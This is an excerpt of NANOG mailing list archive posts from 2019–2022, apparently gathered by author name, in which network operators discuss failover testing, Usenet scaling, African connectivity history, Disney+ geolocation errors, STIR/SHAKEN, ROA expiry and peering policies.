the diesels serviced ASAP, and (b) adopt my protocol of start diesel, wait for 
it to come under load, run for at least 30 minutes to get up to heat and clear 
the carbon deposits.

I use a similar technique for failover tests on servers, routers, firewalls — 
pull the power cord and see what happens, pull the incoming network and see 
what happens.

This was stymied by a recent network outage where the ISP network was up and 
running, connected back to their local PoP and thence to their backbone, but 
connectivity from that network to the critical servers was down.  So now we 
test end-to-end that the server is reachable, and let the network fail over if 
not.

paul

> On Mar 18, 2020, at 11:56 AM, Karl Auer  wrote:
> 
> An untested emergency system has to be regarded as a non-existent
> emergency system.
> 
> No matter how painful it is to test, no matter how expensive it is to
> test, the pain and the expense are nothing compared to the pain and
> expense of having an actual emergency and discovering that the
> emergency system doesn't work...
> 
> Multiplied by infinity if it costs lives.
> 
> Regards, K.
> 
> -- 
> ~~~
> Karl Auer (ka...@biplane.com.au)
> http://www.biplane.com.au/kauer
> http://twitter.com/kauer389
> 
> GPG fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170
> Old fingerprint: 8D08 9CAA 649A AFEF E862 062A 2E97 42D4 A2A0 616D
> 
> 



Re: South Africa On Lockdown - Coronavirus - Update!

2020-03-24 Thread Paul WALL
On Tue, Mar 24, 2020 at 6:22 AM Alexandre Petrescu <
alexandre.petre...@gmail.com> wrote:

>
>
> Mr. Morrow - where are you situated approximately?
>
>
He's a network operator. From North America, on the North American Network
Operators mailing list. Something you are not, so please stop spouting your
drivel on a list that has nothing to do with you. This is a crisis, not a
time for a European Project Proposer  to
spout off massively uninformed bullshit non-stop because no one else will
listen.

NANOG-L mods: it's time to show some leadership.


Re: free collaborative tools for low BW and losy connections

2020-03-25 Thread Paul Ebersman
woody> UUCP kicks ass.

And scary as it sounds, UUCP over SLIP/PPP worked remarkably
robustly. When system/network resources are skinny or scarce, you get
really good at keeping things working.

:)


Re: South Africa On Lockdown - Coronavirus - Update!

2020-03-25 Thread Paul Nash
Don’t hold your breath :-(.

> On Mar 24, 2020, at 4:55 PM, Mark Tinka  wrote:
> 
> 
> 
> On 24/Mar/20 22:48, Randy Bush wrote:
> 
>> almost all our cultures have gaps; but some worse than others.  we will
>> all learn lessons in the coming many months of plague.  i know an office
>> which lost key engineers last year because they would not let them work
>> remotely.  now the entire company is working remotely, and successfully.
> 
> The Coronavirus is amplifying and accelerating the new economy that is
> burgeoning at the borders.
> 
> With some luck, those that need to pay attention, are.
> 
> Mark.



Re: free collaborative tools for low BW and losy connections

2020-03-31 Thread Paul Nash
> Exactly. And there's no disconnect: usenet doesn't scale because each object 
> is copied to all core nodes rather than referenced, or copied-as-needed, or 
> other.  This design of distributed messaging platform will eventually break 
> as it grows.  

Usenet scales far more gracefully than the current web.

Each node sends content to a few downstream nodes.  This makes it easy to 
scale; there is no central mega-node that gets overwhelmed, connectivity is to 
a nearby upstream where there is a reasonabe amount of bandwidth. Last time I 
ran a server, the sender could filter based on newsgroup or message size, so 
avoid swamping links.  Content was mostly text.

It is possible to use offline transmission — certain groups dumped onto mag 
tape and mailed, get pulled in at the destination.  BTDT.

More demand = more client nodes which in turn distribute to other nodes, so 
each node does not need to talk to a large number of others.

We did this about 30 years ago in South Africa; Rhodes university brought in 
most groups, I brought in alt.*.  We each distributed to a select number of 
nodes, who distributed again.  Lather, rinse, repeat.  Usenet for the entire 
sub-continent (along with email) over 9600 bps dial-up circuits.

paul

Re: 60ms cross continent

2020-07-08 Thread Paul Nash
When we started TICSA (Internet Africa/Verizon/whatever), we went with a 9600 
bps satellite link to New Jersey specifically because the SAT-2 fibre had just 
been installed and traffic was being moved off satellite.  The satellite folk 
were getting *very* nervous, and gave us a heavily discounted service provided 
we had a 5-year contract that specified that they service *had* to run over 
satellite.  Job insurance.

As our requirements grew, we added fibre connections.  Eventually the telco 
canceled the satellite connection as they were starting to focus on VSAT.

paul

> On Jul 8, 2020, at 3:05 AM, Mark Tinka  wrote:
> 
> 
> 
> On 7/Jul/20 21:58, Eric Kuhnke wrote:
>> Watching the growth of terrestrial fiber (and PTP microwave) networks
>> going inland from the west and east African coasts has been
>> interesting. There's a big old C-band earth station on the hill above
>> Freetown, Sierra Leone that was previously the capital's only link to
>> the outside world. Obsoleted for some years now thanks to the
>> submarine cable and landing station. I imagine they might keep things
>> live as a backup path with a small C-band transponder MHz commit and
>> SCPC modems linked to an earth station somewhere in Europe, but not
>> with very much capacity or monthly cost.
>> 
>> The landing station in Mogadishu had a similar effect.
> 
> The early years of submarine fibre in Africa always had satellite as a
> backup. In fact, many satellite companies that served Africa with
> Internet prior to submarine fibre were banking on subsea and terrestrial
> failures to remain relevant. It worked between 2009 - 2013, when
> terrestrial builds and operation had plenty of teething problems. Those
> companies have since either disappeared or moved their services over to
> fibre as well.
> 
> In that time, it has simply become impossible to have any backup
> capacity on satellite anymore. There is too much active fibre bandwidth
> being carried around and out of/into Africa for any satellite system to
> make sense. Rather, diversifying terrestrial and submarine capacity is
> the answer, and that is growing quite well.
> 
> Plenty of new cable systems that are launching this year, next year and
> the next 3 years. At the moment, one would say there is sufficient
> submarine capacity to keep the continent going in case of a major subsea
> cut (like we saw in January when both the WACS and SAT-3 cables got cut
> at the same time, and were out for over a month).
> 
> Satellite earth stations are not irrelevant, however. They still do get
> used to provide satellite-based TV services, and can also be used for
> media houses who need to hook up to their network to broadcast video
> when reporting in the region (even though uploading a raw file back home
> over the Internet is where the tech. has now gone).
> 
> Mark.
> 



Re: 60ms cross continent

2020-07-12 Thread Paul Nash
Not quite VSAT, but in the bad old SA days (pre-demicracy), I did some work for 
a company that used a UK-based satellite provider for data to the client (data 
was sent in the VBI), and dial-up for the traffic from the client.

Still relied on a local provider for the dial-up, though, so could be censored.

Before TICSA, I also looked at buying a private (pirate) satellite earth 
station.  The Russian government were selling off surplus 8-wheel-drive 
military satellite earth stations, and I was thinking of parking one in my back 
garden (I lived on a farm).

paul

> On Jul 9, 2020, at 12:44 PM, Mark Tinka  wrote:
> 
> 
> 
> On 9/Jul/20 17:51, Joel M Snyder wrote:
> 
>> Oh man I wish that were wholly true... Satellite/VSAT has another very
>> very important attribute: it's not subject to the whims of the local
>> government or regulators.  So when there's an election or some unrest or
>> coup or the prime minister has very bad flatulence, and some person says
>> "turn off the Internet," your non-terrestrial connection is there so
>> that you can continue to do business.
> 
> Very true, except there are still a few countries that require a single
> operator to have all "gateway" access out of the country, even via
> satellite. So yes, install, for sure. But if someone does the rounds and
> catches an "unlicensed" installation, that could be interesting.
> 
> 
>> (Plus, there are also still many places outside of capital cities in the
>> world where the Internet is truly awful and if you want bits, you have
>> to bring your own)
> 
> I did mention that use-case, already, in a previous post.
> 
> Simple applications such as ATM's in remote locations is still quite
> typical.
> 
> Mark.



Disney+ contacts or geolocation ideas

2020-07-22 Thread Paul Nash
I’m looking for a technical contact at Disney regarding geo-location.  I have a 
client (apartment building) with a /24 (one IP per apartment).  We recently 
upgraded out Internet connection to give a much-needed speed boost.  Same 
connectivity provider, same IP addresses, just a bigger pipe.

Since then, a while bunch of people have been unable to get to Disney+, while 
some can.  Those that fail have existing D+ subscriptions, and get “error code 
73”, which allegedly relates to location and rights management.

The bandwidth provider has checked DNS, reverse DNS and contacted Disney, to no 
avail.  WhoIS shows it as being in Toronto, Canada.

Meanwhile, there is a lynch mob forming, and a scaffold being built in the 
parking lot :-).

Any pointers on how to find someone at Disney with clue, who will be able to 
tickle their geolocation databane.

The really irritating part is that everything worked until we had the bandwidth 
upgrade.

Re: Don Smith, RIP.

2020-07-23 Thread Paul Ferguson
I was informed of this earlier today... I’ve known Don for almost all of 
the 20+ years that he was engaged with this community. I am very sad to 
hear of his passing.


Among his many accomplishments, one of the things that always impressed 
me about Don was that -- in addition to being a good friend and 
colleague -- he was also no-nonsense expert technical voice of reason 
and sanity (also a CCIE) and an early volunteer SANS Daily Incident Handler.


He will be sorely missed.

- ferg


On 7/23/20 4:22 PM, Dobbins, Roland wrote:



It is with a heavy heart that I must relate the news that Don Smith, formerly 
of CenturyLink and more lately of Netscout Arbor, passed away in his sleep last 
night.

Don was a colleague, friend, and mentor to many; he was a mainstay of the 
operational community, and tirelessly worked to make the Internet safer and 
more resilient for us all.  His intellect, wit, and generosity of spirit were 
well-known to those who were privileged to have the opportunity to work with 
and learn from him.

Don’s contributions to the industry were manifold.  While we are all diminished 
by his loss, his legacy abides; and we can honor him by continuing to build 
upon that foundation, for the betterment of the Internet community as a whole.

Once Don’s family have established plans for his memorial, they will be posted 
here.

Roland Dobbins 





--
Paul Ferguson
Tacoma, WA  USA
Illegitimi non carborundum.


Re: FCC: rulemaking on STIR/SHAKEN and Caller ID Authentication

2020-09-10 Thread Paul Timmins
A *LOT* goes through at least one TDM transition (so you can kiss that 
identity header goodbye). None of the big names in long distance 
termination support STIR/SHAKEN. There's about 4-5 that will do 
STIR/SHAKEN outside of testbed connectivity (my employer is one). One 
big name is still using a self signed certificate to sign their 
STIR/SHAKEN calls, it'll expire in a couple weeks so they should figure 
life out quickly. I won't shame them here.


The lions share of intercarrier traffic won't go through SIP until the 
big ILECs are required to interconnect over SIP in reasonable and 
non-discriminatory ways. I'm not holding my breath.


(AT&T Wireless and Verizon Wireless hide behind their respective 
landline networks generally, and without SIP connectivity to those, you 
won't be getting green checkmark calls to people on the two largest 
wireless carriers outside of private testbed connectivity anytime soon)


https://authenticate.iconectiv.com/authorized-service-providers-authenticate 



-Paul

On 9/10/20 4:09 PM, Michael Thomas wrote:


On 9/10/20 9:49 AM, Sean Donelan wrote:


At this month's FCC rulemaking meeting, it will consider

https://www.fcc.gov/document/fcc-announces-tentative-agenda-september-open-meeting-6 



Promoting Caller ID Authentication to Combat Spoofed Robocalls – The 
Commission will consider a Report and Order that would continue its 
work to implement the TRACED Act and promote the deployment of caller 
ID authentication technology to combat spoofed robocalls.

(WC Docket No. 17-97)



So I have a question: what percentage of traffic in the US is really 
coming from the legacy PSTN? My understanding is that it's pretty low 
these days.


If that's true, it seems to me that this is a SIP problem, not an 
e.164 problem.


Mike



Re: SRv6

2020-09-16 Thread Paul Timmins
My backyard is private. It offers no privacy with its chain link fence 
against a major street.


On 9/16/20 4:38 PM, Randy Bush wrote:

Privacy != encryption.

cleartext == privacy * 0

cleartext * complexity == privacy * 0

randy


Re: BFD for routes learned trough Route-servers in IXPs

2020-09-17 Thread Paul Timmins

On 9/17/20 1:51 PM, Douglas Fischer wrote:

But 30 Seconds for an IXP? It does not make any sense!
Those packets are stealing CPU cycles of the Control Plane of any 
router in the LAN.


Especially given how some exchanges lock the mac address of 
participants. You could probably get away with ARP timeouts of a day or 
even just permanent with manual clearing when you see a peer go down.


-Paul



Re: SRv6

2020-09-22 Thread Paul Timmins



On 9/21/20 6:16 PM, Randy Bush wrote:
yes, privacy is one aspect of security. and, as mpls vns are not 
private sans encryption, they are not secure.

randy


As my backyard is not surrounded by a cement enclosure with acoustic 
baffling and white noise generators inside, it's not really private 
property.




Re: iOS 14 (Apple) DNS bits

2020-09-24 Thread Paul Ebersman
vom513> Observation: iOS 14 now seems to send 3 queries (up from 2) for
vom513> every socket connection to a name.  Whereas we've had A
vom513> +  for quite some time in many OSes - on iOS 14 we now
vom513> have A +  + HTTPS (type 65).
[...]
vom513> Question: iOS 14 now flags networks that it believes are
vom513> blocking encrypted DNS.  It puts a warning in Settings for the
vom513> wifi.

Apple has made a number of unilateral decisions about how their phones
should work (in search of some definition of privacy) that are likely to
cause headaches for enterprise and others using something other than
apple blessed tech to secure their users. The mac addr randomization is
going to be another headache for IT.

From an apple developer on another list, official docs from apple and
some other things to read.

Developer documentation:







WWDC video/transcript:



"Encrypted resolvers designated by domain owners"  based on;




Re: Squat space is now being advertised by AS 749 (DoD Network Information Center)

2021-09-10 Thread Paul Ferguson

Both articles are base don Doug Madory's research:

https://www.kentik.com/blog/wait-did-as8003-just-disappear/

Cheers,

- ferg


On 9/10/21 5:26 PM, Daniel Lacey wrote:


Just saw an article in the Washington Post explaining what went on…

It was a follow up to the Apr 24 and 26 articles…

I don’t have a link without a subscription….

Basically, unused IPv4 addresses from DOD were being transferred to 
Global Resource  Systems. It was transferred back today.This is some 
pilot program for network resilience by the Pentagon unit Defense 
Digital Service.


I don’t know if this is a smoke screen or exactly what “they” say it is…
Just trying to fill in the blanks…

On Sep 10, 2021, at 15:40, Compton, Rich A  
wrote:




Hi, this week it looks like the DoD owned squat space that was 
previously advertised by AS 8008 (a shadow company called Global 
Resource Systems, 
seehttps://apnews.com/article/technology-business-government-and-politics-b26ab809d1e9fdb53314f56299399949 
<https://apnews.com/article/technology-business-government-and-politics-b26ab809d1e9fdb53314f56299399949>) 
is now being advertised by AS 749 (DoD Network Information Center).  
Does anyone have any idea why this change was made?  Is the DoD 
planning on actually legitimately putting services on the space soon 
instead of using it as a giant honeypot?  Or maybe even selling it?


Thanks,

Rich




--
Paul Ferguson
Tacoma, WA  USA
Illegitimi non carborundum.


Re: BGP Route Monitoring

2022-01-07 Thread Paul Rolland
Hello,

On Fri, 7 Jan 2022 09:50:25 +0200
Saku Ytti  wrote:

> On Thu, 6 Jan 2022 at 15:48, Sandoiu Mihai  wrote:
> 
> > I am trying to find a solution that does not require much scripting or
> > customization.  
> 
> Suggestion to run BMP is a fine suggestion. Another option is plain
> old BGP, setup iBGP+best-external (w/ add-path if you may receive >1
> copy from local eBGP neighbours) from these boxes to a collector bgp,
> maybe with a prefix-list filter to send only this prefix. Then have
> the collector box raise an alert when it doesn't receive the route
> from one of them.

What about setting up a machine with exabgp installed, a iBGP session with
the exabgp instance, and a small script parsing the updates received by
exabgp to raise an alarm whenever $CONDITION is met ?

https://github.com/Exa-Networks/exabgp

Best,
Paul


pgpz62pFLxykv.pgp
Description: OpenPGP digital signature


Re: 25G SFP28 capable of rate-adaption down to 1G?

2022-01-31 Thread Paul Emmons

We have done that with a CVR and 1g sfp.

On 1/31/2022 11:05 AM, Bill Woodcock wrote:

Hey, does anyone know of an SFP28 capable of rate-adapting down from 25G on the 
cage side down to 1G on the line side?  Can be copper or fiber on the line 
side, I don’t care, my interest is in the chip inside.

Thanks,

 -Bill



Re: LEC copper removal from commercial properties

2022-02-16 Thread Paul Emmons
Do MSOs and CLEC/fiber providers require free power and space?

On Wed, Feb 16, 2022, 7:59 PM Martin Hannigan  wrote:

>
> NANOG'ers;
>
> At least in Boston, commercial property owners are receiving notices that
> 'copper  lines are being removed per FCC rules' and replaced with fiber.
> The property owner, not the network operators (or users of unbundled
> elements if that's even still a thing) are being presented with an
> agreement that acknowledges the removal, authorizes the fiber installation
> and provides for a minor oversight of the design. It suggests that no costs
> are involved in terms of hosting equipment. No power reimbursement. No rent
> for spaces used.
>
> There is an ominous paragraph in the letter that says if the property
> owner doesn't comply that tenants will lose all services including elevator
> phones, alarms, voice, internet and any copper/ds0 originated services.
> They didn't say 911, but that would go without saying.
>
> Has anyone heard of this?
> What FCC rule requires this?
>
> Thanks for any insights.
>
> Warm regards,
>
> Martin
>


Re: LEC copper removal from commercial properties

2022-02-16 Thread Paul Emmons
Saw this

https://www.nojitter.com/consultant-perspectives/decommissioning-copper-gets-real


Re: "Permanent" DST

2022-03-15 Thread Paul Ebersman
eric> If Canada doesn't do the same thing at the same time, it'll be a
eric> real hassle, dealing with a change from -8 to -7 crossing the
eric> border between BC and WA, for instance. It has to be done
eric> consistently throughout North America.

You must not have ever dealt with Indiana, where it was DST or not by
choice per county. It wasn't quite the cluster***k you'd think.



Re: Let's Focus on Moving Forward Re: V6 still not supported

2022-03-26 Thread Paul Rolland
Hello,

On Sat, 26 Mar 2022 09:35:30 -0400
"Abraham Y. Chen"  wrote:

> touching the hardware, by implementing the EzIP technique (*/disabling/* 
> the program code that has been */disabling/* the use of the 240/4 
> netblock), an existing CG-NAT module becomes a RAN! As to universal 

Have you ever considered that this may be in fact:

*/writing/* and */deploying/* the code that will allow the use of 240/4 the
way you expect 


Paul


pgp6kGDmOvUU6.pgp
Description: OpenPGP digital signature


Re: Cogent ...

2022-03-31 Thread Paul Timmins

On 3/31/22 11:38, Laura Smith via NANOG wrote:

However, perhaps someone would care to elaborate (either on or off-list) what 
the deal is with the requirement to sign NDAs with Cogent before they'll 
discuss things like why they still charge for BGP, or indeed any other 
technical or pricing matters. Seems weird ?!?


Same reason your employer doesn't want employees telling each other 
their salary. Not every similarly situated customer pays the same for 
the same service.




Re: Sabotage: several severed cables at the origin of a major internet outage in France

2022-04-27 Thread Paul Ferguson

On 4/27/22 7:08 AM, Sean Donelan wrote:



Multiple physical cable cuts in multiple diverse locations in France.

Several networks that connect the internet infrastructures of major 
French cities were cut overnight, in a short interval. A state source 
evokes with "the Obs" a "coordinated malicious act", which confirms SFR 
and Free affected. An investigation has been opened.


https://www.nouvelobs.com/faits-divers/20220427.OBS57722/plusieurs-cables-sectionnes-a-l-origine-d-une-importante-panne-internet-en-france.html 





English language news article, fwiw:

https://www.telegraph.co.uk/world-news/2022/04/27/internet-multiple-cities-across-france-suspected-sabotage/

Cheers,

- ferg


--
Paul Ferguson
Tacoma, WA  USA
Illegitimi non carborundum.


Re: Disney+ Issues

2022-04-29 Thread Paul Thornton

On 29/04/2022 14:22, Josh Luthman wrote:


Did you try:

Disney+: E-mail them the trouble subnet at 
techops-distribut...@disneystreaming.com. Also, 
techops-servi...@disneystreaming.com will probably be where that sends 
you. Another possible email is disneyplusispsupp...@disneyplus.com.


https://thebrotherswisp.com/index.php/geo-and-vpn/



We too are having the same issue - started suddenly around 6-8 weeks ago 
having worked fine for at least a year.  I have no idea what they 
changed.  Based on my first hand knowledge, these E-mail addresses go 
nowhere where anyone either can - or wants to - resolve issues.


Disney+ appear to be the worst outfit at handling this kind of thing: 
They have no concept of a service provider wanting them to update an 
entire block - they are fixing this for individual customers who call 
them but we are calling them weekly, and E-mailing regularly too; but go 
around in circles where someone promises to call back having sorted it.  
This never happens.


They also appear to use some opaque geoloc service (who themselves don't 
have a "you have this wrong" button) and really don't care that they are 
making life difficult for their paying customers!


We have to keep telling new customers variations of "Yes, this is 
Disney's fault, no we can't fix it" which doesn't go down very well 
because "It worked fine with my previous provider, it must be your 
issue".  Apart from suggesting they cancel their subscription because of 
Disney's incompetence there's not much else we can do :(



I get that you have to appease rights holders and do this idiotic 
geolocation thing, because they are still obsessed with geographical 
boundaries in the 21st century.  But if you are going to do this, can 
you please damned well fix *your* screwups when you get it wrong in a 
timely manner - or don't bother doing it at all.



Paul.



Re: Disney+ Issues

2022-04-29 Thread Paul Thornton



On 29/04/2022 18:21, Norman Jester wrote:


We're having a heck of a time with this, customers are posting all
over social media about it etc.
The company who does their ip classification is Neustar and we have
been talking to them.
In our case, it is a /17 that moved from Germany to us in the UK after a 
purchase a year ago.


If we look up the block in question on Neustar's website, it correctly 
geolocates to the UK - and they correctly fetch the ISP information from 
RIPE.  This has been the case for ages (and I don't think Neustar has 
ever shown it incorrect after we notified them - along with other geoloc 
companies - that it was now UK-based).


So if Disney+ are using Neustar, they are caching the results somehow or 
applying their own secret sauce that gets it wrong.


Paul.


Re: FCC proposes higher speed goals (100/20 Mbps) for USF providers

2022-06-06 Thread Paul Timmins
How many times have I seen an installer only download the parts it needs 
vs just reinstall the next version right over top of the existing 
version? I know stuff like xplane seems to do a comparison of file 
signatures and only downloads the changed parts for the updates between 
whatever version I have and whatever version is current now, but I'd 
imagine a lot of installers these days just take advantage of the fact 
the user has a super fast connection and they don't have to care about 
shipping the entire new installer just to run an update.


Not to mention whatever amounts of shovelware come with a few megabyte 
print driver for a modern printer/scanner/copier. Let's just include a 
copy of McAfee endpoint protection in this java update in case the user 
opts into selecting that as an option during install? etc.


-Paul

On 6/6/22 14:24, Chris Adams wrote:

Once upon a time, Michael Thomas  said:

I meant downloads as in gigantic games. If you give them more
bandwidth it just encourages the game makes to build bigger game
downloads.

I don't buy that - users are still constrained on storage, especially on
consoles.


Re: Frontier Dark Fiber

2022-07-14 Thread Paul Timmins
Your rights under the ICA are dead. Since 2002 you were only able to 
order it if one end was in a tier 3 wirecenter, and it was killed in 
2021 as an orderable product.



https://www.federalregister.gov/documents/2021/01/08/2020-25254/modernizing-unbundling-and-resale-requirements-in-an-era-of-next-generation-networks-and-services


There's an 8 year transition for existing unbundled dark fiber (February 
28, 2029). Dark fiber loops were dead in 2002 under the TRRO.





On 7/13/22 07:45, Mike Hammett wrote:

Oh, and I forgot to mention that my ICA has it.



-
Mike Hammett
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 


*From: *"Mike Hammett" 
*To: *nanog@nanog.org
*Sent: *Wednesday, July 13, 2022 6:40:47 AM
*Subject: *Frontier Dark Fiber

I'm looking for a contact at Frontier that can discuss dark fiber.

My current account exec says they don't offer it, yet prior 
conversations with him and a previous SE revealed that they very much 
did (just didn't have availability on the paths I wanted at the time).


Their web site highlights it fairly proudly.


I'm aware that availability varies.

I'm aware that they likely don't want to sell it.



-
Mike Hammett
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 



Re: Verizon no BGP route to some of AS38365 (182.61.200.0/24)

2022-07-21 Thread Paul Rolland
Hello,

On Thu, 21 Jul 2022 12:20:37 -0400 (EDT)
Jon Lewis  wrote:

> I looked at this a little last night, but didn't have time to write an 
> email about it.  Verizon has a lookingglass:
> 
> https://www.verizon.com/business/why-verizon/looking-glass/
> 
> which you can use to see that Verizon has no route covering 182.61.200.0. 
> Looking at routeviews, I see routes for 182.61.200.0/22, 
> and 182.61.200.0/21, but no path via Verizon.

Just tested using:
  Region: Asia Pacific
  Location: HKG
  Show BGP route
  Net: 182.61.200.0

and the answer is:

182.61.200.0/22 (2 entries, 1 announced)
*BGPPreference: 170/-101
Age: 4w0d 22:32:07  Metric: 10  Metric2: 500502 
Announcement bits (4): 0-KRT 3-RT 8-BGP_RT_Background 9-Resolve 
tree 4 
AS path: (65336) 4134 23724 38365 I  (Atomic Originator)
Communities:   
    Localpref: 100

Paul


pgpblDby5RqkH.pgp
Description: OpenPGP digital signature


Re: Verizon no BGP route to some of AS38365 (182.61.200.0/24)

2022-07-21 Thread Paul Rolland
Hello,

On Thu, 21 Jul 2022 12:39:55 -0400
Tom Beecher  wrote:

> Well that shows my assertion was probably wrong.
> 
> Given the geopolitical situation between the US and China, along with
> certain government orders, could likely infer this is intentional.

Well, I remember VZN when it was UUNet... and then, they had 3 main ASNs:
 - 701 (US)
 - 702 (EU)
 - 703 (APAC)

Playing with the LG, it may seem that the route is visible in the "703
region", so that may be traffic engineering, geo-whatever reason, config
mistake, ...

Paul

-- 
Paul RollandE-Mail : rol(at)witbe.net
CTO - Witbe.net SA  Tel. +33 (0)1 47 67 77 77
18 Rue d'Arras, Bat. A11Fax. +33 (0)1 47 67 77 99
F-92000 NanterreRIPE : PR12-RIPE

Please no HTML, I'm not a browser - Pas d'HTML, je ne suis pas un
navigateur "Some people dream of success... while others wake up and work
hard at it" 

"I worry about my child and the Internet all the time, even though she's
too young to have logged on yet. Here's what I worry about. I worry that 10
or 15 years from now, she will come to me and say 'Daddy, where were you
when they took freedom of the press away from the Internet?'"
--Mike Godwin, Electronic Frontier Foundation 


pgpOayVJpHCKu.pgp
Description: OpenPGP digital signature


Re: Akamai Peering

2022-07-26 Thread Paul Emmons
Akamai isn't supporting 10g ports on IXPs.  I'd be surprised if the allowed
it on PNIs.  As for not being on the IXPs, that's odd.

On Tue, Jul 26, 2022 at 8:23 AM Jawaid Bazyar 
wrote:

> Hi,
>
>
>
> We had Akamai servers in our data center for many years until a couple
> years ago, when they said they’d changed their policies and decommissioned
> the servers.
>
>
>
> I understand that, maintaining many server sites and being responsible for
> that hardware, even if you pay nothing for power or collocation, must be
> costly. And at the time, we didn’t have much traffic to them.
>
>
>
> Today, however, we’re hitting 6 Gbps with them nightly. Not sure what
> traffic it is they’re hosting but it’s surely video of some sort.
>
>
>
> We are in the same data center with them, Edgeconnex Denver, and they
> refuse to peer because they say their minimum traffic level for peering is
> 30 Gbps.
>
>
>
> Their peeringdb entry says “open peering”, and in my book that’s not open
> peering.
>
>
>
> So this seems to be exactly backward from where every other major content
> provider is going – free peering with as many eyeball networks as possible.
>
>
>
> Google – no bandwidth minimum, and, they cover costs on 1st and every
> other cross connect
>
> Amazon – peers are two Denver IX
>
> Apple – peers at two Denver IX
>
> Netflix – free peering everywhere
>
>
>
> And, on top of that, Akamai is not at either of the two Denver exchange
> points, which push together probably half a terabit of traffic.
>
>
>
> What is the financial model for Akamai to restrict peering this way?
> Surely it’s not the 10G ports and optics, which are cheap as dirt these
> days.
>
>
>
> Doesn’t this policy encourage eyeballs to move this traffic to their
> cheapest possible transit links, with a potential degradation of service
> for Akamai’s content customers?
>
>
>
> Thanks for the insight,
>
>
>
> Jawaid
>
>
>
>
>
> *[image: uc%3fid=1CZG_hGEeUP_KD95fSHu2oBRA_6dkOo6n]*
>
> *Jawaid Bazyar*
>
> Chief Technical Officer
>
> VERO Broadband
>
> [image: signature_3735065359]
>
> 303-815-1814
>
> [image: signature_3363732610]
>
> jbaz...@verobroadband.com
>
> [image: signature_60923]
>
> https://verobroadband.com
>
> [image: signature_4057438942]
>
> 2347 Curtis St, Denver, CO 80205
>
>
>


Re: cogent - Sales practices

2022-08-05 Thread Paul Emmons
Two current experiences . . .
I still do work with an ILEC that gets requests for waves to Cogent. Cogent
has a data center in the market but won't allow the ILEC to build in.  So
Cogent burns ports in another data center where Cogent pays for space and
power.  Cogent reps says no one gets anything for free.

Had a recent event with Meta for the small market ixp deployment.  The use,
just use, Cogent for connectivity /fill.

And a plan . . .  Order up 10g Global peer exchange ports from them. They
are free.  Maybe if they sell enough of those they will have to spend more
of their dollars.


Re: ROA Will Expire Soon - ARIN

2022-09-09 Thread Paul Emmons
In our experience, I think, we do a 24 month rpki cert tied the key shared
with ARIN. You simply create a new rpki cert in the ARIN hosted service.
Due operational reasons we will delete an old cert a month after publishing
the new cert just to keep things clean.  We don't have a lot of space
turnover so we will typically do a new cert 2 or 3 times a year.

If your underlying resources are pretty much static, just make your cert
good for as long as you can.

On Fri, Sep 9, 2022, 9:08 AM Ca By  wrote:

>
>
> On Fri, Sep 9, 2022 at 9:04 AM Brad Gorman  wrote:
>
>> A message is sent to points of contact of an Org one month before
>> expiration of a ROA in the ARIN repository.  At any time prior to the ROA
>> expiry, a new (duplicate) ROA can be created for the same resources with a
>> new expiry date in the future. The soon to expire ROA can be deleted once
>> the new ROA has been published to the repository or you can simply wait for
>> it to expire.
>>
>>
>>
>>
>>
>> Brad
>>
>>
> Any chance arin can post a step by step guide on the arin website?
>
> Seems like a big deal to have an roa expire, and a well documented process
> will create a lot of confidence.
>
> As where an expired roa outage will cause a company to never use rpki
> again.
>
>>
>>
>> *From: *NANOG  on behalf of Ca
>> By 
>> *Date: *Friday, September 9, 2022 at 10:12 AM
>> *To: *John Sweeting 
>> *Cc: *North American Network Operators' Group 
>> *Subject: *Re: ROA Will Expire Soon - ARIN
>>
>>
>>
>>
>>
>>
>>
>> On Fri, Sep 9, 2022 at 5:21 AM John Sweeting  wrote:
>>
>> You can contact the ARIN Helpdesk at +1-703-227-0660. Someone will also
>> be sending you an email off list.
>>
>>
>>
>> John
>>
>>
>>
>> Where is ARIN’s documented procedure for how hosted ROAs handle renewal
>> prior to expiration ?
>>
>>
>>
>>
>>
>>
>> Sent from my iPhone
>>
>> > On Sep 9, 2022, at 8:01 AM, Terrance Devor  wrote:
>> >
>> >
>> > Can someone from ARIN please reach out to me. We don't want the ROA to
>> expire...
>> >
>> > Kind Regards,
>> > Terrance
>>
>>


Re: BGP Engines with support to "RTFilter address-family"

2023-02-26 Thread Paul Rolland
Hello,

On Sun, 26 Feb 2023 17:46:42 -0300
Douglas Fischer  wrote:

> But I'm looking for an open-source engine that supports it.
> 
> The official FRR documentation does not mention anything about RFC 4364,
> or RTFilter address family.
> So, I think FRR does not support RTFilter Constrained Route Distribution.
> 
> Do any of the colleagues have any suggestions on this?

ExaBGP ?

https://github.com/Exa-Networks/exabgp/wiki/RFC-Information

Best,
Paul

-- 
Paul RollandE-Mail : rol(at)witbe.net
CTO - Witbe.net SA  Tel. +33 (0)1 47 67 77 77
18 Rue d'Arras, Bat. A11Fax. +33 (0)1 47 67 77 99
F-92000 NanterreRIPE : PR12-RIPE

Please no HTML, I'm not a browser - Pas d'HTML, je ne suis pas un
navigateur "Some people dream of success... while others wake up and work
hard at it" 

"I worry about my child and the Internet all the time, even though she's
too young to have logged on yet. Here's what I worry about. I worry that 10
or 15 years from now, she will come to me and say 'Daddy, where were you
when they took freedom of the press away from the Internet?'"
--Mike Godwin, Electronic Frontier Foundation 


pgpp3q0eldPtB.pgp
Description: OpenPGP digital signature


Re: QFX5k question

2019-03-23 Thread Paul S.
QFX5100 as a L3 router + L2 switch performed well for us in the past, I 
don't see why it'd fall over in <1g traffic now.


You should be good to go.

On 3/24/2019 04:41 午前, Mehmet Akcin wrote:

Hey there,

I am trying to get my hands on some QFX5000s and I have a rather quick 
question.


In the past, I often used MX + EX where MX did routing and I connected 
all uplinks/peering and EX, and EX did switching, i connected my 
servers to ex.


in QFX, I am trying to see if I need EX or not? more importantly 
(besides from what juniper papers say) are there any known issues 
people run into for a small scale deployment. (100mbps-1gbps range 1 
rack, 20 servers)


my plan is to have QFX to it all, but i am worried, if this is too 
much for QFX, if you have relative experience on this , feel free to 
let me know


thanks in advance

mehmet





Re: modeling residential subscriber bandwidth demand

2019-04-02 Thread Paul Nash
FWIW, I have a 250 subscribers sitting on a 100M fiber into Torix.  I have had 
no complains about speed in 4 1/2 years.  I have been planning to bump them to 
1G for the last 4 years, but there is currently no economic justification.

paul


> On Apr 2, 2019, at 3:21 PM, Louie Lee via NANOG  wrote:
> 
> Certainly.
> 
> Projecting demand is one thing. Figuring out what to buy for your backbone, 
